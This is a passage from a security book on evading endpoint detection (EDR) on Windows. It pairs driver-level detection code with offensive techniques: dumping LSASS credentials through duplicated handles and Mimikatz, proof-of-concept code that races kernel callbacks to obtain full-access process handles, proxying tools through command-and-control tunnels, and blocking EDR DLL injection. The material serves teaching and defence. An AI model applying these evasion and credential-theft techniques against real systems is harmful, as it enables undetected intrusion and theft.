© 2023 by Matt Hand Object Notifications   73 As you can see, our tool determines that PID 17600, which cor- responds to Process Explorer on my test host, had a handle to lsass.exe with the PROCESS_ALL_ACCESS access mask (0x1FFFFF). We use this handle to dump the memory to a file, C:\lsa.dmp. Next, we run Mimikatz and use it to process the file, then extract credential material using the sekurlsa::logonpasswords command. Note that we could perform these Mimikatz steps off-target to reduce our risk of detection, as we’re working with a file and not live memory. While this technique would evade certain sensors, an EDR could still detect our behavior in plenty of ways. Remember that object callbacks might receive notifications about duplication requests. Listing 4-14 shows what this detection logic could look like in an EDR’s driver. OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback( PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info) { NTSTATUS status = STATUS_SUCCESS; 1 if (Info->ObjectType == *PsProcessType) { if (Info->Operation == OB_OPERATION_HANDLE_DUPLICATE) { PUNICODE_STRING psTargetProcessName = HelperGetProcessName( (PEPROCESS)Info->Object); if (!psTargetProcessName)) { return OB_PREOP_SUCCESS; } UNICODE_STRING sLsaProcessName = RTL_CONSTANT_STRING(L"lsass.exe"); 2 if (FsRtlAreNamesEqual(psTargetProcessName, &sLsaProcessName, TRUE, NULL)) { --snip-- } } } --snip-- } Listing 4-14: Filtering handle-duplication events on the target process name To detect duplication requests, the EDR could determine whether the ObjectType member of the OB_PRE_OPERATION_INFORMATION structure, which gets passed to the callback routine, is PsProcessType and, if so, whether its Operation member is OB_OPERATION_HANDLE_DUPLICATE 1. Using additional filter- ing, we could determine whether we’re potentially looking at the technique described earlier. We might then compare the name of the target process with the name of a sensitive process, or a list of them 2. A driver that implements this check will detect process-handle duplica- tion performed with kernel32!DuplicateHandle(). Figure 4-1 shows a mock EDR reporting the event. Evading EDR (Early Access) © 2023 by Matt Hand 74   Chapter 4 Figure 4-1: Detecting process-handle duplication Unfortunately, at the time of this writing, many sensors perform checks only on new handle requests and not on duplicate requests. This may change in the future, however, so always evaluate whether the EDR’s driver performs this check. Racing the Callback Routine In their 2020 paper “Fast and Furious: Outrunning Windows Kernel Notification Routines from User-Mode,” Pierre Cicholas, Jose Miguel Such, Angelos K. Marnerides, Benjamin Green, Jiajie Zhang, and Utz Roedig demonstrated a novel approach to evading detection by object callbacks. Their technique involves requesting a handle to a process before execution has been passed to the driver’s callback routine. The authors described two separate ways of racing callback routines, covered in the sections that follow. Creating a Job Object on the Parent Process The first technique works in situations when an attacker wants to gain access to a process whose parent is known. For example, when a user dou- ble-clicks an application in the Windows GUI, its parent process should be explorer.exe. In those cases, the attacker definitively knows the parent of their target process, allowing them to use some Windows magic, which we’ll dis- cuss shortly, to open a handle to the target child process before the driver has time to act. Listing 4-15 shows this technique in action. int main(int argc, char* argv[]) { HANDLE hParent = INVALID_HANDLE_VALUE; HANDLE hIoCompletionPort = INVALID_HANDLE_VALUE; HANDLE hJob = INVALID_HANDLE_VALUE; JOBOBJECT_ASSOCIATE_COMPLETION_PORT jobPort; HANDLE hThread = INVALID_HANDLE_VALUE; --snip-- hParent = OpenProcess(PROCESS_ALL_ACCESS, true, atoi(argv[1])); 1 hJob = CreateJobObjectW(nullptr, L"DriverRacer"); hIoCompletionPort = 2 CreateIoCompletionPort( INVALID_HANDLE_VALUE, nullptr, 0, 0 ); Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   75 jobPort = JOBOBJECT_ASSOCIATE_COMPLETION_PORT{ INVALID_HANDLE_VALUE, hIoCompletionPort }; if (!SetInformationJobObject( hJob, JobObjectAssociateCompletionPortInformation, &jobPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT) )) { return GetLastError(); } if (!AssignProcessToJobObject(hJob, hParent)) { return GetLastError(); } hThread = CreateThread( nullptr, 0, 3 (LPTHREAD_START_ROUTINE)GetChildHandles, &hIoCompletionPort, 0, nullptr ); WaitForSingleObject(hThread, INFINITE); --snip-- } Listing 4-15: Setting up a job object and I/O completion port to be queried To gain a handle to a protected process, the operator creates a job object on the known parent 1. As a result, the process that placed the job object will be notified of any new child processes created through an I/O completion port 2. The malware process must then query this I/O completion port as quickly as possible. In our example, the internal GetChildHandles() function 3, expanded in Listing 4-16, does just that. void GetChildHandles(HANDLE* hIoCompletionPort) { DWORD dwBytes = 0; ULONG_PTR lpKey = 0; LPOVERLAPPED lpOverlapped = nullptr; HANDLE hChild = INVALID_HANDLE_VALUE; WCHAR pszProcess[MAX_PATH]; do { if (dwBytes == 6) { hChild = OpenProcess( Evading EDR (Early Access) © 2023 by Matt Hand 76   Chapter 4 PROCESS_ALL_ACCESS, true, 1 (DWORD)lpOverlapped ); 2 GetModuleFileNameExW( hChild, nullptr, pszProcess, MAX_PATH ); wprintf(L"New child handle:\n" "PID: %u\n" "Handle: %p\n" "Name: %ls\n\n", DWORD(lpOverlapped), hChild, pszProcess ); } 3 } while (GetQueuedCompletionStatus( *hIoCompletionPort, &dwBytes, &lpKey, &lpOverlapped, INFINITE)); } Listing 4-16: Opening new process handles In this function, we first check the I/O completion port in a do-while loop 3. If we see that bytes have been transferred as part of a completed operation, we open a new handle to the returned PID 1, requesting full rights (in other words, PROCESS_ALL_ACCESS). If we receive a handle, we check its image name 2. Real malware would do something with this handle, such as read its memory or terminate it, but here we just print some infor- mation about it instead. This technique works because the notification to the job object occurs before the object-callback notification in the kernel. In their paper, the researchers measured the time between process-creation and object- callback notification to be 8.75–14.5 ms. This means that if a handle is requested before the notification is passed to the driver, the attacker can obtain a fully privileged handle as opposed to one whose access mask has been changed by the driver. Guessing the PID of the Target Process The second technique described in the paper attempts to predict the PID of the target process. By removing all known PIDs and thread IDs (TIDs) from the list of potential PIDs, the authors showed that it is possible to Evading EDR (Early Access) © 2023 by Matt Hand Object Notifications   77 more efficiently guess the PID of the target process. To demonstrate this, they created a proof-of-concept program called hThemAll.cpp. At the core of their tool is the internal function OpenProcessThemAll(), shown in Listing 4-17, which the program executes across four concurrent threads to open process handles. void OpenProcessThemAll( const DWORD dwBasePid, const DWORD dwNbrPids, std::list<HANDLE>* lhProcesses, const std::vector<DWORD>* vdwExistingPids) { std::list<DWORD> pids; for (auto i(0); i < dwNbrPids; i += 4) if (!std::binary_search( vdwExistingPids->begin(), vdwExistingPids->end(), dwBasePid + i)) { pids.push_back(dwBasePid + i); } while (!bJoinThreads) { for (auto it = pids.begin(); it != pids.end(); ++it) { 1 if (const auto hProcess = OpenProcess( DESIRED_ACCESS, DESIRED_INHERITANCE, *it)) { EnterCriticalSection(&criticalSection); 2 lhProcesses->push_back(hProcess); LeaveCriticalSection(&criticalSection); pids.erase(it); } } } } Listing 4-17: The OpenProcessThemAll() function used to request handles to processes and check their PIDs This function indiscriminately requests handles 1 to all processes via their PIDs in a filtered list. If the handle returned is valid, it is added to an array 2. After this function completes, we can check whether any of the handles returned match the target process. If the handle does not match the target, it is closed. While the proof of concept is functional, it misses some edge cases, such as the reuse of process and thread identifiers by another process or thread after one terminates. It is absolutely possible to cover these, but no public examples of doing so exist at the time of this writing. The techniques’ operational use cases may also be limited. For instance, if we wanted to use the first technique to open a handle to the Evading EDR (Early Access) © 2023 by Matt Hand agent process, we’d need to run our code before that process starts. This would be very challenging to pull off on a real system because most EDRs start their agent process via a service that runs early in the boot order. We’d need administrative rights to create our own service, and that still doesn’t guarantee that we’d be able to get our malware running before the agent service starts. Additionally, both techniques focus on defeating the EDR’s preven- tive controls and do not take into consideration its detective controls. Even if the driver is unable to modify the privileges of the requested handle, it might still report suspicious process-access events. Microsoft has stated that it won’t fix this issue, as doing so could cause application-compatibility problems; instead, third-party developers are responsible for mitigation. Conclusion Monitoring handle operations, especially handles being opened to sen- sitive processes, provides a robust way to detect adversary tradecraft. A driver with a registered object-notification callback stands directly inline of an adversary whose tactics rely on opening or duplicating handles to things such as lsass.exe. When this callback routine is implemented well, the opportunities for evading this sensor are limited, and many attackers have adapted their tradecraft to limit the need to open new handles to processes altogether. Evading EDR (Early Access) © 2023 by Matt Hand The last two kinds of notification callback routines we’ll cover in this book are image- load notifications and registry notifications. An image-load notification occurs whenever an executable, DLL, or driver is loaded into memory on the system. A registry notification is triggered when spe- cific operations in the registry occur, such as key cre- ation or deletion. In addition to these notification types, in this chapter we’ll also cover how EDRs commonly rely on image-load notifications for a technique called KAPC injection, which is used to inject their function-hooking DLLs. Lastly, we’ll discuss an evasion method that targets an EDR’s driver directly, potentially bypassing all the notification types we’ve discussed. 5 IM AG E- L OA D A N D R EG I S T RY NOT IF IC AT ION S Evading EDR (Early Access) © 2023 by Matt Hand 80   Chapter 5 How Image-Load Notifications Work By collecting image-load telemetry, we can gain extremely valuable infor- mation about a process’s dependencies. For example, offensive tools that use in-memory .NET assemblies, such as the execute-assembly command in Cobalt Strike’s Beacon, routinely load the common language runtime clr. dll into their processes. By correlating an image load of clr.dll with certain attributes in the process’s PE header, we can identify non-.NET processes that load clr.dll, potentially indicating malicious behavior. Registering a Callback Routine The kernel facilitates these image-load notifications through the nt!PsSetLoad ImageNotifyRoutine() API. If a driver wants to receive these events, the devel- opers simply pass in their callback function as the only parameter to that API, as shown in Listing 5-1. NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { NTSTATUS status = STATUS_SUCCESS; --snip-- status = PsSetLoadImageNotifyRoutine(ImageLoadNotificationCallback); --snip-- } void ImageLoadNotificationCallback( PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { --snip-- } Listing 5-1: Registering an image-load callback routine Now the system will invoke the internal callback function ImageLoadNotificationCallback() each time a new image is loaded into a process. Viewing the Callback Routines Registered on a System The system also adds a pointer to the function to an array, nt!PspLoad ImageNotifyRoutine(). We can traverse this array in the same way as the array used for process-notification callbacks discussed in Chapter 3. In Listing 5-2, we do this to list the image-load callbacks registered on the system. 1: kd> dx ((void**[0x40])&nt!PspLoadImageNotifyRoutine) .Where(a => a != 0) .Select(a => @$getsym(@$getCallbackRoutine(a).Function)) Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   81 [0] : WdFilter+0x467b0 (fffff803`4ade67b0) [1] : ahcache!CitmpLoadImageCallback (fffff803`4c95eb20) Listing 5-2: Enumerating image-load callbacks There are notably fewer callbacks registered here than there were for process-creation notifications. Process notifications have more non-security uses than image loads, so developers are more interested in implementing them. Conversely, image loads are a critical datapoint for EDRs, so we can expect to see any EDRs loaded on the system here alongside Defender [0] and the Customer Interaction Tracker [1]. Collecting Information from Image Loads When an image is loaded, the callback routine receives a pointer to an IMAGE_INFO structure, defined in Listing 5-3. The EDR can collect telemetry from it. typedef struct _IMAGE_INFO { union { ULONG Properties; struct { ULONG ImageAddressingMode : 8; ULONG SystemModeImage : 1; ULONG ImageMappedToAllPids : 1; ULONG ExtendedInfoPresent : 1; ULONG MachineTypeMismatch : 1; ULONG ImageSignatureLevel : 4; ULONG ImageSignatureType : 3; ULONG ImagePartialMap : 1; ULONG Reserved : 12; }; }; PVOID ImageBase; ULONG ImageSelector; SIZE_T ImageSize; ULONG ImageSectionNumber; } IMAGE_INFO, *PIMAGE_INFO; Listing 5-3: The IMAGE_INFO structure definition This structure has a few particularly interesting fields. First, SystemModeImage is set to 0 if the image is mapped to user address space, such as in DLLs and EXEs. If this field is set to 1, the image is a driver being loaded into kernel address space. This is useful to an EDR because mali- cious code that loads into kernel mode is generally more dangerous than code that loads into user mode. The ImageSignatureLevel field represents the signature level assigned to the image by Code Integrity, a Windows feature that validates digital signatures, among other things. This information is useful for systems that implement some type of software restriction policy. For example, an organi- zation might require that certain systems in the enterprise run signed code Evading EDR (Early Access) © 2023 by Matt Hand 82   Chapter 5 only. These signature levels are constants defined in the ntddk.h header and shown in Listing 5-4. #define SE_SIGNING_LEVEL_UNCHECKED 0x00000000 #define SE_SIGNING_LEVEL_UNSIGNED 0x00000001 #define SE_SIGNING_LEVEL_ENTERPRISE 0x00000002 #define SE_SIGNING_LEVEL_CUSTOM_1 0x00000003 #define SE_SIGNING_LEVEL_DEVELOPER SE_SIGNING_LEVEL_CUSTOM_1 #define SE_SIGNING_LEVEL_AUTHENTICODE 0x00000004 #define SE_SIGNING_LEVEL_CUSTOM_2 0x00000005 #define SE_SIGNING_LEVEL_STORE 0x00000006 #define SE_SIGNING_LEVEL_CUSTOM_3 0x00000007 #define SE_SIGNING_LEVEL_ANTIMALWARE SE_SIGNING_LEVEL_CUSTOM_3 #define SE_SIGNING_LEVEL_MICROSOFT 0x00000008 #define SE_SIGNING_LEVEL_CUSTOM_4 0x00000009 #define SE_SIGNING_LEVEL_CUSTOM_5 0x0000000A #define SE_SIGNING_LEVEL_DYNAMIC_CODEGEN 0x0000000B #define SE_SIGNING_LEVEL_WINDOWS 0x0000000C #define SE_SIGNING_LEVEL_CUSTOM_7 0x0000000D #define SE_SIGNING_LEVEL_WINDOWS_TCB 0x0000000E #define SE_SIGNING_LEVEL_CUSTOM_6 0x0000000F Listing 5-4: Image signature levels The purpose of each value isn’t well documented, but some are self- explanatory. For instance, SE_SIGNING_LEVEL_UNSIGNED is for unsigned code, SE_SIGNING_LEVEL_WINDOWS indicates that the image is an operating system component, and SE_SIGNING_LEVEL_ANTIMALWARE has something to do with anti- malware protections (more on this in Chapter 12). The ImageSignatureType field, a companion to ImageSignatureLevel, defines the signature type with which Code Integrity has labeled the image to indi- cate how the signature was applied. The SE_IMAGE_SIGNATURE_TYPE enumera- tion that defines these values is shown in Listing 5-5. typedef enum _SE_IMAGE_SIGNATURE_TYPE { SeImageSignatureNone = 0, SeImageSignatureEmbedded, SeImageSignatureCache, SeImageSignatureCatalogCached, SeImageSignatureCatalogNotCached, SeImageSignatureCatalogHint, SeImageSignaturePackageCatalog, } SE_IMAGE_SIGNATURE_TYPE, *PSE_IMAGE_SIGNATURE_TYPE; Listing 5-5: The SE_IMAGE_SIGNATURE_TYPE enumeration The Code Integrity internals related to these properties are out- side the scope of this chapter, but the most commonly encountered are SeImageSignatureNone (meaning the file is unsigned), SeImageSignatureEmbedded (meaning the signature is embedded in the file), and SeImageSignatureCache (meaning the signature is cached on the system). Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   83 If the ImagePartialMap value is nonzero, the image being mapped into the process’s virtual address space isn’t complete. This value, added in Windows 10, is set in cases such as when kernel32!MapViewOfFile() is invoked to map a small portion of a file whose size is larger than that of the pro- cess’s address space. The ImageBase field contains the base address into which the image will be mapped, in either user or kernel address space, depending on the image type. It is worth noting that when the image-load notification reaches the driver, the image is already mapped. This means that the code inside the DLL is in the host process’s virtual address space and ready to be executed. You can observe this behavior with WinDbg, as demonstrated in Listing 5-6. 0: kd> bp nt!PsCallImageNotifyRoutines 0: kd> g Breakpoint 0 hit nt!PsCallImageNotifyRoutines: fffff803`49402bc0 488bc4 mov rax,rsp 0: kd> dt _UNICODE_STRING @rcx ntdll!_UNICODE_STRING "\SystemRoot\System32\ntdll.dll" +0x000 Length : 0x3c +0x002 MaximumLength : 0x3e +0x008 Buffer : 0xfffff803`49789b98 1 "\SystemRoot\System32\ntdll.dll" Listing 5-6: Extracting the image name from an image-load notification We first set a breakpoint on the function responsible for traversing the array of registered callback routines. Then we investigate the RCX register when the debugger breaks. Remember that the first parameter passed to the callback routine, stored in RCX, is a Unicode string containing the name of the image being loaded 1. Once we have this image in our sights, we can view the current process’s VADs, shown in Listing 5-7, to see which images have been loaded into the current process, where, and how. 0: kd> !vad VAD Level Commit --snip-- ffff9b8f9952fd80 0 0 Mapped READONLY Pagefile section, shared commit 0x1 ffff9b8f9952eca0 2 0 Mapped READONLY Pagefile section, shared commit 0x23 ffff9b8f9952d260 1 1 Mapped NO_ACCESS Pagefile section, shared commit 0xe0e ffff9b8f9952c5e0 2 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe ffff9b8f9952db20 3 16 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll Listing 5-7: Checking the VADs to find the image to be loaded The last line of the output shows that the target of the image-load noti- fication, ntdll.dll in our example, is labeled Mapped. In the case of EDR, this means that we know the DLL is located on disk and copied into memory. The loader needs to do a few things, such as resolving the DLL’s dependen- cies, before the DllMain() function inside the DLL is called and its code Evading EDR (Early Access) © 2023 by Matt Hand 84   Chapter 5 begins to execute. This is particularly relevant only in situations where the EDR is working in prevention mode and might take action to stop the DLL from executing in the target process. Evading Image-Load Notifications with Tunneling Tools An evasion tactic that has gained popularity over the past few years is to proxy one’s tooling rather than run it on the target. When an attacker avoids running post-exploitation tooling on the host, they remove many host-based indicators from the collection data, making detection extremely difficult for the EDR. Most adversary toolkits contain utilities that collect network information or act on other hosts in the environment. However, these tools generally require only a valid network path and the ability to authenticate to the system with which they want to interact. So, attackers don’t have to execute them on a host in the target environment. One way of staying off the host is by proxying the tools from an outside computer and then routing the tool’s traffic through the compromised host. Although this strategy has recently become more common for its usefulness in evading EDR solutions, the technique isn’t new, and most attackers have performed it for years by using the Metasploit Framework’s auxiliary mod- ules, particularly when their complex tool sets won’t work on the target for some reason. For example, attackers sometimes wish to make use of the tools provided by Impacket, a collection of classes written in Python for working with network protocols. If a Python interpreter isn’t available on the target machine, the attackers need to hack together an executable file to drop and execute on the host. This creates a lot of headaches and limits the opera- tional viability of many toolkits, so attackers turn to proxying instead. Many command-and-control agents, such as Beacon and its socks com- mand, support some form of proxying. Figure 5-1 shows a common proxy- ing architecture. socks tunnel Tool traffic Attacker host Attacker enviornment Operating enviornment Command-and-control server Command-and-control bastion Target host Compromised host Figure 5-1: A generic proxying architecture After deploying the command-and-control agent in the target environ- ment, operators will start a proxy on their server and then associate the agent with the proxy. From thereon, all traffic routed through the proxy Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   85 will pass through a bastion, a host used to obfuscate the true location of the command-and-control server, to the deployed agent, allowing the operator to tunnel their tools into the environment. An operator may then use tools such as Proxychains or Proxifier to force their post-exploitation tooling, running on some external host, to ship its traffic through the proxy and act as if it were running on the internal environment. There is, however, one significant downside to this tactic. Most offen- sive security teams use noninteractive sessions, which introduce a planned delay between the command-and-control agent’s check-ins with its server. This allows the beaconing behavior to blend into the system’s normal traf- fic by reducing the total volume of interactions and matching the system’s typical communications profile. For example, in most environments, you wouldn’t find much traffic between a workstation and a banking site. By increasing the interval between check-ins to a server posing as a legitimate banking service, attackers can blend into the background. But when proxy- ing, this practice becomes a substantial headache, as many tools aren’t built to support high-latency channels. Imagine trying to browse a web page but only being allowed to make one request per hour (and then having to wait another hour for the results). To work around this, many operators will reduce the check-in intervals to nearly zero, creating an interactive session. This lessens network latency, allowing the post-exploitation tooling to run without delay. However, because nearly all command-and-control agents use a single communica- tions channel for check-ins, tasking, and the sending of output, the vol- ume of traffic over this single channel can become significant, tipping off defenders that suspicious beaconing activity is taking place. This means attackers must make some trade-offs between host-based and network-based indicators with respect to their operating environment. As EDR vendors enhance their ability to identify beaconing traffic, offensive teams and developers will continue to advance their tradecraft to evade detection. One of the next logical steps in accomplishing this is to use multiple channels for command-and-control tasking rather than only one, either by employing a secondary tool, such as gTunnel, or by building this support into the agent itself. Figure 5-2 shows an example of how this could work. gTunnel forward tunnel Tool traffic Attacker host Attacker enviornment Command-and-control server Command-and-control bastion gTunnel bastion Target host Compromised host Operating enviornment Figure 5-2: The gTunnel proxying architecture Evading EDR (Early Access) © 2023 by Matt Hand 86   Chapter 5 In this example, we still use the existing command-and-control channel to control the agent deployed on the compromised host, but we also add a gTunnel channel that allows us to proxy our tooling. We execute the tooling on our attacker host, virtually eliminating the risk of host-based detection, and route the tool’s network traffic through gTunnel to the compromised system, where it continues as if it originated from the compromised host. This still leaves open the opportunity for defenders to detect the attack using network-based detections, but it greatly reduces the attacker’s foot- print on the host. Triggering KAPC Injection with Image-Load Notifications Chapter 3 discussed how EDRs often inject function-hooking DLLs into newly created processes to monitor calls to certain functions of interest. Unfortunately for vendors, there is no formally supported way of injecting a DLL into a process from kernel mode. Ironically, one of their most com- mon methods of doing so is a technique often employed by the malware they seek to detect: APC injection. Most EDR vendors use KAPC injection, a procedure that instructs the process being spawned to load the EDR’s DLL despite it not being explicitly linked to the image being executed. To inject a DLL, EDRs can’t simply write the contents of the image into the process’s virtual address space however they wish. The DLL must be mapped in a manner that follows the PE format. To achieve this from ker- nel mode, the driver can use a pretty neat trick: relying on an image-load callback notification to watch for a newly created process loading ntdll.dll. Loading ntdll.dll is one of the first things a new process does, so if the driver can notice this happening, it can act on the process before the main thread begins its execution: a perfect time to place its hooks. This section walks you through the steps to inject a function-hooking DLL into a newly created 64-bit process. Understanding KAPC Injection KAPC injection is relatively straightforward in theory and only gets murky when we talk about its actual implementation in a driver. The general gist is that we want to tell a newly created process to load the DLL we specify. In the case of EDRs, this will almost always be a function-hooking DLL. APCs, one of several methods of signaling a process to do something for us, wait until a thread is in an alertable state, such as when the thread executes kernel32!SleepEx() or kernel32!WaitForSingleObjectEx(), to perform the task we requested. KAPC injection queues this task from kernel mode, and unlike plain user-mode APC injection, the operating system doesn’t formally support it, making its implementation a bit hacky. The process consists of a few steps. First, the driver is notified of an image load, whether it be the process image (such as notepad.exe) or a DLL that the EDR is interested in. Because the notification occurs in the context of the target process, the driver then searches the currently loaded modules for the address of a function that Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   87 can load a DLL, specifically ntdll!LdrLoadDll(). Next, the driver initializes a few key structures, providing the name of the DLL to be injected into the process; initializes the KAPC; and queues it for execution into the process. Whenever a thread in the process enters an alertable state, the APC will be executed and the EDR driver’s DLL will be loaded. To better understand this process, let’s step through each of these stages in greater detail. Getting a Pointer to the DLL-Loading Function Before the driver can inject its DLL, it must get a pointer to the undocu- mented ntdll!LdrLoadDll() function, which is responsible for loading a DLL into a process, similarly to kernel32!LoadLibrary(). This is defined in Listing 5-8. NTSTATUS LdrLoadDll(IN PWSTR SearchPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *BaseAddress) Listing 5-8: The LdrLoadDll() definition Note that there is a difference between a DLL being loaded and it being fully mapped into the process. For this reason, a post-operation callback may be more favorable than a pre-operation callback for some drivers. This is because, when a post-operation callback routine is noti- fied, the image is fully mapped, meaning that the driver can get a pointer to ntdll!LdrLoadDll() in the mapped copy of ntdll.dll. Because the image is mapped into the current process, the driver also doesn’t need to worry about address space layout randomization (ASLR). Preparing to Inject Once the driver gets a pointer to ntdll!LdrLoadDll(), it has satisfied the most important requirement for performing KAPC injection and can start inject- ing its DLL into the new process. Listing 5-9 shows how an EDR’s driver might perform the initialization steps necessary to do so. typedef struct _INJECTION_CTX { UNICODE_STRING Dll; WCHAR Buffer[MAX_PATH]; } INJECTION_CTX, *PINJECTION_CTX void Injector() { NTSTATUS status = STATUS_SUCCESS; PINJECTION_CTX ctx = NULL; const UNICODE_STRING DllName = RTL_CONSTANT_STRING(L"hooks.dll"); --snip-- Evading EDR (Early Access) © 2023 by Matt Hand 88   Chapter 5 1 status = ZwAllocateVirtualMemory( ZwCurrentProcess(), (PVOID *)&ctx, 0, sizeof(INJECTION_CTX), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); --snip-- RtlInitEmptyUnicodeString( &ctx->Dll, ctx->Buffer, sizeof(ctx->Buffer) ); 2 RtlUnicodeStringCopyString( &ctx->Dll, DllName ); --snip-- } Listing 5-9: Allocating memory in the target process and initializing the context structure The driver allocates memory inside the target process 1 for a context structure containing the name of the DLL to be injected 2. Creating the KAPC Structure After this allocation and initialization completes, the driver needs to allo- cate space for a KAPC structure, as shown in Listing 5-10. This structure holds the information about the routine to be executed in the target thread. PKAPC pKapc = (PKAPC)ExAllocatePoolWithTag( NonPagedPool, sizeof(KAPC), 'CPAK' ); Listing 5-10: Allocating memory for the KAPC structure The driver allocates this memory in NonPagedPool, a memory pool that guarantees the data will stay in physical memory rather than being paged out to disk as long as the object is allocated. This is important because the thread into which the DLL is being injected may be running at a high interrupt request level, such as DISPATCH_LEVEL, in which case it shouldn’t access memory in the PagedPool, as this causes a fatal error that usually results in an IRQL_NOT_LESS_OR_EQUAL bug check (also known as the Blue Screen of Death). Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   89 Next, the driver initializes the previously allocated KAPC structure using the undocumented nt!KeInitializeApc() API, shown in Listing 5-11. VOID KeInitializeApc( PKAPC Apc, PETHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext ); Listing 5-11: The nt!KeInitializeApc() definition In our driver, the call to nt!KeInitializeApc() would look something like what is shown in Listing 5-12. KeInitializeApc( pKapc, KeGetCurrentThread(), OriginalApcEnvironment, (PKKERNEL_ROUTINE)OurKernelRoutine, NULL, (PKNORMAL_ROUTINE)pfnLdrLoadDll, UserMode, NULL ); Listing 5-12: The call to nt!KeInitializeApc() with the details for DLL injection This function first takes the pointer to the KAPC structure created previously, along with a pointer to the thread into which the APC should be queued, which can be the current thread in our case. Following these parameters is a member of the KAPC_ENVIRONMENT enumeration, which should be OriginalApcEnvironment (0), to indicate that the APC will run in the thread’s process context. The next three parameters, the routines, are where a bulk of the work happens. The KernelRoutine, named OurKernelRoutine() in our example code, is the function to be executed in kernel mode at APC_LEVEL before the APC is delivered to user mode. Most often, it simply frees the KAPC object and returns. The RundownRoutine function is executed if the target thread is terminated before the APC was delivered. This should free the KAPC object, but we’ve kept it empty in our example for the sake of simplicity. The NormalRoutine function should execute in user mode at PASSIVE_LEVEL when the APC is delivered. In our case, this should be the function pointer to ntdll!LdrLoadDll(). The last two parameters, ApcMode and NormalContext, are set to UserMode (1) and the parameter passed as NormalRoutine, respectively. Evading EDR (Early Access) © 2023 by Matt Hand 90   Chapter 5 Queueing the APC Lastly, the driver needs to queue this APC. The driver calls the undocu- mented function nt!KeInsertQueueApc(), defined in Listing 5-13. BOOL KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); Listing 5-13: The nt!KeInsertQueueApc() definition This function is quite a bit simpler than the previous one. The first input parameter is the APC, which will be the pointer to the KAPC we cre- ated. Next are the arguments to be passed. These should be the path to the DLL to be loaded and the length of the string containing the path. Because these are the two members of our custom INJECTION_CTX structure, we simply reference the members here. Finally, since we’re not incrementing any- thing, we can set Increment to 0. At this point, the DLL is queued for injection into the new process whenever the current thread enters an alertable state, such as if it calls ker nel32!WaitForSingleObject() or Sleep(). After the APC completes, the EDR will start to receive events from the DLL containing its hooks, allowing it to monitor the execution of key APIs inside the injected function. Preventing KAPC Injection Beginning in Windows build 10586, processes may prevent DLLs not signed by Microsoft from being loaded into them via process and thread mitiga- tion policies. Microsoft originally implemented this functionality so that browsers could prevent third-party DLLs from injecting into them, which could impact their stability. The mitigation strategies work as follows. When a process is created via the user-mode process-creation API, a pointer to a STARTUPINFOEX structure is expected to be passed as a parameter. Inside this structure is a pointer to an attribute list, PROC_THREAD_ATTRIBUTE_LIST. This attribute list, once initial- ized, supports the attribute PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY. When this attribute is set, the lpValue member of the attribute may be a pointer to a DWORD containing the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT _BINARIES_ALWAYS_ON flag. If this flag is set, only DLLs signed by Microsoft will be permitted to load in the process. If a program tries to load a DLL not signed by Microsoft, a STATUS_INVALID_IMAGE_HASH error will be returned. By leveraging this attribute, processes can prevent EDRs from injecting their function-hooking DLL, allowing them to operate without fear of function interception. A caveat to this technique is that the flag is only passed to processes being created and does not apply to the current process. Because of this, Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   91 it is best suited for command-and-control agents that rely on the fork&run architecture for post-exploitation tasks, as each time the agent queues a task, the sacrificial process will be created and have the mitigation policy applied. If a malware author would like this attribute to apply to their origi- nal process, they could leverage the kernel32!SetProcessMitigationPolicy() API and its associated ProcessSignaturePolicy policy. By the time the process would be able to make this API call, however, the EDR’s function-hooking DLL would be loaded in the process and its hooks placed, rendering this technique nonviable. Another challenge with using this technique is that EDR vendors have begun to get their DLLs attestation-signed by Microsoft, as shown in Figure 5-3, allowing them to be injected into processes even if the flag was set. Figure 5-3: CrowdStrike Falcon’s DLL countersigned by Microsoft In his post “Protecting Your Malware with blockdlls and ACG,” Adam Chester describes using the PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT _DYNAMIC_CODE_ALWAYS_ON flag, commonly referred to as Arbitrary Code Guard (ACG), to prevent the modification of executable regions of memory, a requirement of placing function hooks. While this flag prevented function hooks from being placed, it also prevented many off-the-shelf command- and-control agents’ shellcode from executing during testing, as most rely on manually setting pages of memory to read-write-execute (RWX). How Registry Notifications Work Like most software, malicious tools commonly interact with the registry, such as by querying values and creating new keys. In order to capture these interactions, drivers can register notification callback routines that get alerted any time a process interacts with the registry, allowing the driver to prevent, tamper with, or simply log the event. Some offensive techniques rely heavily on the registry. We can often detect these through registry events, assuming we know what we’re looking for. Table 5-1 shows a handful of different techniques, what registry keys they interact with, and their associated REG_NOTIFY_CLASS class (a value we’ll discuss later in this section). Evading EDR (Early Access) © 2023 by Matt Hand 92   Chapter 5 Table 5-1: Attacker Tradecraft in the Registry and the Related REG_NOTIFY_CLASS Members Technique Registry location REG_NOTIFY_CLASS members Run-key persistence HKLM\Software\Microsoft\ Windows\CurrentVersion\Run RegNtCreateKey(Ex) Security Support Provider (SSP) persistence HKLM\SYSTEM\ CurrentControlSet\Control\Lsa\ Security Packages RegNtSetValueKey Component Object Model (COM) hijack HKLM\SOFTWARE\Classes\ CLSID\<CLSID>\ RegNtSetValueKey Service hijack HKLM\SYSTEM\CurrentControlSet\ Services\<ServiceName> 